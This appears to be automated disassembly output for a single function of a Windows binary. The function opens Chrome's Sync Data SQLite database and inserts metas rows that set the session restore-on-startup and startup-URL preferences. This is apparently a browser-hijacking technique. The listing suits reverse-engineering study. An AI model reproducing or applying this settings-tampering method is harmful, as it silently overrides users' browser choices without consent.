Function at 0x4ceca7
Capabilities:
Check if file exists

Disassembly:
push 0x898
mov eax, 0x587a6d
call fcn.004fb9d0
mov dword [ebp - 0x878], ecx
xor esi, esi
inc esi
mov dword [ebp - 4], esi
lea ecx, [ebp - 0x89c]
call fcn.00432a3a
mov byte [ebp - 4], 3
push ecx
mov ecx, esp
mov dword [ebp - 0x874], esp
push str.Sync_DataSyncData.sqlite3
call fcn.0043479c
mov byte [ebp - 4], 4
push ecx
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x868], esp
push eax
call fcn.004324a9
mov byte [ebp - 4], 5
lea eax, [ebp - 0x87c]
push eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x89c]
call fcn.0049be74
mov byte [ebp - 4], 6
push dword [ebp - 0x87c]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4ced72
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x87c]
add ecx, 0xfffffff0
call fcn.004310e3
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x89c]
call fcn.00432a92
xor ebx, ebx
mov byte [ebp - 4], bl
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.004310e3
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp + 0xc]
call fcn.0040ff10
mov eax, esi
call fcn.004fba53
ret 0x20
push ecx
lea eax, [ebp - 0x87c]
mov ecx, esp
mov dword [ebp - 0x874], esp
push eax
call fcn.004324a9
mov byte [ebp - 4], 0xa
mov byte [ebp - 4], 6
call fcn.004a9c4d
xor ebx, ebx
pop ecx
mov dword [ebp - 0x874], eax
cmp eax, ebx
jne 0x4cedd5
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x87c]
add ecx, 0xfffffff0
call fcn.004310e3
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x89c]
call fcn.00432a92
mov byte [ebp - 4], bl
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.004310e3
push 2
pop esi
jmp 0x4ced59
push str.sZ:ADqtAZydcmcFtexj2WUIw1ibJy0XOtkfmbED2PeN18E4B_4ulLinZ8vOnTy_FTLJyuLyVqGf9mWzEQYEGFEckIvuZRgiCA
lea ecx, [ebp - 0x848]
mov dword [ebp - 0x870], ebx
mov dword [ebp - 0x86c], ebx
call fcn.0040f0f0
mov byte [ebp - 4], 0xe
push 8
pop ecx
mov esi, str.SELECT_max_metahandle__FROM_metas
lea edi, [ebp - 0x810]
rep movsd dword es:[edi], dword [esi]
push 0x7de
lea eax, [ebp - 0x7ee]
push ebx
push eax
movsw word es:[edi], word [esi]
call fcn.004fc1f0
mov edi, dword [ebp - 0x874]
lea eax, [ebp - 0x810]
push eax
push edi
lea esi, [ebp - 0x870]
call fcn.004a1b71
add esp, 0x14
test al, al
jne 0x4cee81
mov byte [ebp - 4], 6
push ebx
push 1
lea ecx, [ebp - 0x848]
call fcn.0040ff10
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x87c]
add ecx, 0xfffffff0
call fcn.004310e3
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x89c]
call fcn.00432a92
mov byte [ebp - 4], bl
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.004310e3
push 3
jmp 0x4cedd2
lea eax, [ebp - 0x848]
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x868], esp
push 0x5ad418
call fcn.0040f0f0
mov byte [ebp - 4], 0x12
push edi
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x878]
call fcn.004b7770
cmp al, bl
jne 0x4ceeef
add dword [ebp - 0x870], 1
lea eax, [ebp - 0x810]
adc dword [ebp - 0x86c], ebx
push dword [ebp - 0x86c]
push dword [ebp - 0x870]
push str.INSERT_INTO_metas__metahandle__base_version__server_version__local_external_id__transaction_version__t_t_t_t_tmtime__server_mtime__ctime__server_ctime__id__parent_id__server_parent_id__is_unsynced__is_unapplied_update__t_t_t_t_tis_del__is_dir__server_is_dir__server_is_del__non_unique_name__server_non_unique_name__unique_server_tag__t_t_t_t_tunique_client_tag__unique_bookmark_tag__specifics__server_specifics__base_server_specifics__server_unique_position__unique_position__t_t_t_t_tVALUES___I64d__1428397590219960__1428397590219960__0__1__0__0__0__0_t_t_t_t_t_sZ:ADqtAZydcmcFtexj2WUIw1ibJy0XOtkfmbED2PeN18E4B_4ulLinZ8vOnTy_FTLJyuLyVqGf9mWzEQYEGFEckIvuZRgiCA__t_t_t_t_tr__r__0__0__0__1__1__0__Preferences__Preferences__google_chrome_preferences_t_t_t_t_t______XB2B41200__XB2B41200____X2200__X2200_
push eax
call fcn.004a33cc
lea eax, [ebp - 0x810]
push eax
push edi
call fcn.004a1b04
add esp, 0x18
push str.sZ:ADqtAZy43ayyuYPtRfyYE8TbsQodbN7ZCEz_fWpBYKfvBzyaaFZHzsSIm5KYO1iGwURmYDm3Qe6Ewdw8jokEdEueXDvTEe_MfQ
lea ecx, [ebp - 0x82c]
mov dword [ebp - 0x884], 1
mov dword [ebp - 0x880], ebx
call fcn.0040f0f0
mov byte [ebp - 4], 0x13
lea eax, [ebp - 0x82c]
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x868], esp
mov esi, str.session.restore_on_startup
push esi
call fcn.0040f0f0
mov byte [ebp - 4], 0x14
push edi
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x878]
call fcn.004b7770
add dword [ebp - 0x870], 1
mov ecx, dword [ebp - 0x848]
adc dword [ebp - 0x86c], ebx
cmp dword [ebp - 0x834], 0x10
jae 0x4cef66
lea ecx, [ebp - 0x848]
cmp dword [ebp - 0x818], 0x10
mov eax, dword [ebp - 0x82c]
jae 0x4cef7b
lea eax, [ebp - 0x82c]
push str.b2b4121f0a1a73657373696f6e2e726573746f72655f6f6e5f73746172747570120135
lea edx, [ebp - 0x884]
push edx
push 0xffffffffffffffff
push 0xffffffffffffffff
push ecx
mov ecx, dword [ebp - 0x878]
push str.btzKsaZ7tKl7xljTz2dM5B3wPQ
push eax
push esi
push str.B2B4121F0A1A73657373696F6E2E726573746F72655F6F6E5F73746172747570120134
push dword [ebp - 0x86c]
push dword [ebp - 0x870]
push edi
call fcn.004c9933
mov byte [ebp - 4], 0xe
push ebx
push 1
lea ecx, [ebp - 0x82c]
call fcn.0040ff10
push str.B2B412320A14
lea ecx, [ebp - 0x82c]
call fcn.0040f0f0
mov byte [ebp - 4], 0x15
mov esi, str.session.startup_urls
push esi
call fcn.004fba80
push eax
push esi
call fcn.004a1a48
mov edi, eax
push edi
call fcn.004fba80
add esp, 0x10
push eax
push edi
lea ecx, [ebp - 0x82c]
call fcn.004115a0
cmp edi, ebx
je 0x4cf00b
push edi
call fcn.004fc324
pop ecx
mov edi, str.121A
push edi
call fcn.004fba80
pop ecx
push eax
push edi
lea ecx, [ebp - 0x82c]
call fcn.004115a0
mov edi, 0x5acf8c
push edi
call fcn.004fba80
push eax
push edi
call fcn.004a1a48
mov edi, eax
push edi
call fcn.004fba80
add esp, 0x10
push eax
push edi
lea ecx, [ebp - 0x82c]
call fcn.004115a0
cmp edi, ebx
je 0x4cf059
push edi
call fcn.004fc324
pop ecx
cmp dword [ebp + 0x20], 0x10
mov eax, dword [ebp + 0xc]
jae 0x4cf065
lea eax, [ebp + 0xc]
push dword [ebp + 0x1c]
push eax
call fcn.004a1a48
mov edi, eax
push edi
call fcn.004fba80
add esp, 0xc
push eax
push edi
lea ecx, [ebp - 0x82c]
call fcn.004115a0
cmp edi, ebx
je 0x4cf091
push edi
call fcn.004fc324
pop ecx
mov edi, 0x5acf88
push edi
call fcn.004fba80
push eax
push edi
call fcn.004a1a48
mov edi, eax
push edi
call fcn.004fba80
add esp, 0x10
push eax
push edi
lea ecx, [ebp - 0x82c]
call fcn.004115a0
cmp edi, ebx
je 0x4cf0c6
push edi
call fcn.004fc324
pop ecx
push str.sZ:ADqtAZy43ayyuYPtRfyYE8TbsQodI1bTtwU6KVEom_9VtdgNUVdxGwCLjLVXpx2GS3BuC_P2K4GDbcHX6RaePnHjhKsHgyff_g
lea ecx, [ebp - 0x864]
call fcn.0040f0f0
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x864]
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x868], esp
push esi
call fcn.0040f0f0
mov byte [ebp - 4], 0x17
push dword [ebp - 0x874]
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x878]
call fcn.004b7770
add dword [ebp - 0x870], 1
mov eax, dword [ebp - 0x848]
adc dword [ebp - 0x86c], ebx
cmp dword [ebp - 0x834], 0x10
jae 0x4cf12d
lea eax, [ebp - 0x848]
cmp dword [ebp - 0x850], 0x10
mov edx, dword [ebp - 0x864]
mov dword [ebp - 0x868], eax
jae 0x4cf148
lea edx, [ebp - 0x864]
cmp dword [ebp - 0x818], 0x10
mov ecx, dword [ebp - 0x82c]
jae 0x4cf15d
lea ecx, [ebp - 0x82c]
mov edi, dword [ebp - 0x884]
mov eax, dword [ebp - 0x880]
push ebx
push ebx
add edi, 1
adc eax, ebx
push eax
push edi
push dword [ebp - 0x868]
mov dword [ebp - 0x8a0], eax
push str.95T9dofXNGdq0KX1aHTEi2jEJmU
push edx
push esi
push ecx
push dword [ebp - 0x86c]
mov ecx, dword [ebp - 0x878]
push dword [ebp - 0x870]
push dword [ebp - 0x874]
call fcn.004c9933
mov byte [ebp - 4], 0x15
push ebx
push 1
lea ecx, [ebp - 0x864]
call fcn.0040ff10
mov byte [ebp - 4], 0xe
push ebx
push 1
lea ecx, [ebp - 0x82c]
call fcn.0040ff10
push str.B2B412400A22
lea ecx, [ebp - 0x82c]
call fcn.0040f0f0
mov byte [ebp - 4], 0x18
mov esi, str.session.urls_to_restore_on_startup
push esi
call fcn.004fba80
push eax
push esi
call fcn.004a1a48
push eax
mov dword [ebp - 0x868], eax
call fcn.004fba80
add esp, 0x10
push eax
push dword [ebp - 0x868]
lea ecx, [ebp - 0x82c]
call fcn.004115a0
cmp dword [ebp - 0x868], ebx
je 0x4cf222
push dword [ebp - 0x868]
call fcn.004fc324
pop ecx
push str.121A
call fcn.004fba80
pop ecx
push eax
push str.121A
lea ecx, [ebp - 0x82c]
call fcn.004115a0
push 0x5acf8c
call fcn.004fba80
push eax
push 0x5acf8c
call fcn.004a1a48
push eax
mov dword [ebp - 0x868], eax
call fcn.004fba80
add esp, 0x10
push eax
push dword [ebp - 0x868]
lea ecx, [ebp - 0x82c]
call fcn.004115a0
cmp dword [ebp - 0x868], ebx
je 0x4cf288
push dword [ebp - 0x868]
call fcn.004fc324
pop ecx
cmp dword [ebp + 0x20], 0x10
mov eax, dword [ebp + 0xc]
jae 0x4cf294
lea eax, [ebp + 0xc]
push dword [ebp + 0x1c]
push eax
call fcn.004a1a48
push eax
mov dword [ebp - 0x868], eax
call fcn.004fba80
add esp, 0xc
push eax
push dword [ebp - 0x868]
lea ecx, [ebp - 0x82c]
call fcn.004115a0
cmp dword [ebp - 0x868], ebx
je 0x4cf2d2
push dword [ebp - 0x868]
call fcn.004fc324
pop ecx
push 0x5acf88
call fcn.004fba80
push eax
push 0x5acf88
call fcn.004a1a48
push eax
mov dword [ebp - 0x868], eax
call fcn.004fba80
add esp, 0x10
push eax
push dword [ebp - 0x868]
lea ecx, [ebp - 0x82c]
call fcn.004115a0
cmp dword [ebp - 0x868], ebx
je 0x4cf322
push dword [ebp - 0x868]
call fcn.004fc324
pop ecx
mov dword [ebp - 0x868], ebx
push str.sZ:ADqtAZy43ayyuYPtRfyYE8TbsQodanKssy_GDOJnkIPRXYw70XnENbTYeNJO2b8vRA_YPK5lckqefULRmITi9H7ZFAq6MNtvpg
lea ecx, [ebp - 0x864]
call fcn.0040f0f0
mov byte [ebp - 4], 0x19
lea eax, [ebp - 0x864]
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x880], esp
push esi
call fcn.0040f0f0
mov byte [ebp - 4], 0x1a
push dword [ebp - 0x874]
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x878]
call fcn.004b7770
add dword [ebp - 0x870], 1
mov edx, dword [ebp - 0x848]
adc dword [ebp - 0x86c], ebx
cmp dword [ebp - 0x834], 0x10
jae 0x4cf389
lea edx, [ebp - 0x848]
cmp dword [ebp - 0x850], 0x10
mov ecx, dword [ebp - 0x864]
jae 0x4cf39e
lea ecx, [ebp - 0x864]
cmp dword [ebp - 0x818], 0x10
mov eax, dword [ebp - 0x82c]
jae 0x4cf3b3
lea eax, [ebp - 0x82c]
push ebx
push ebx
push dword [ebp - 0x8a0]
push edi
push edx
push str.Xxw7rHogwdezB6CmM4BJB9fM8
push ecx
mov ecx, dword [ebp - 0x878]
push esi
push eax
push dword [ebp - 0x86c]
push dword [ebp - 0x870]
push dword [ebp - 0x874]
call fcn.004c9933
cmp dword [ebp - 0x868], ebx
je 0x4cf3f6
push dword [ebp - 0x868]
call fcn.004fc324
pop ecx
mov byte [ebp - 4], 0x18
push ebx
push 1
lea ecx, [ebp - 0x864]
call fcn.0040ff10
mov byte [ebp - 4], 0xe
push ebx
push 1
lea ecx, [ebp - 0x82c]
call fcn.0040ff10
push dword [ebp - 0x874]
call fcn.00482cf3
pop ecx
mov byte [ebp - 4], 6
push ebx
push 1
lea ecx, [ebp - 0x848]
call fcn.0040ff10
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x87c]
add ecx, 0xfffffff0
call fcn.004310e3
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x89c]
call fcn.00432a92
mov byte [ebp - 4], bl
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.004310e3
xor esi, esi
jmp 0x4ced59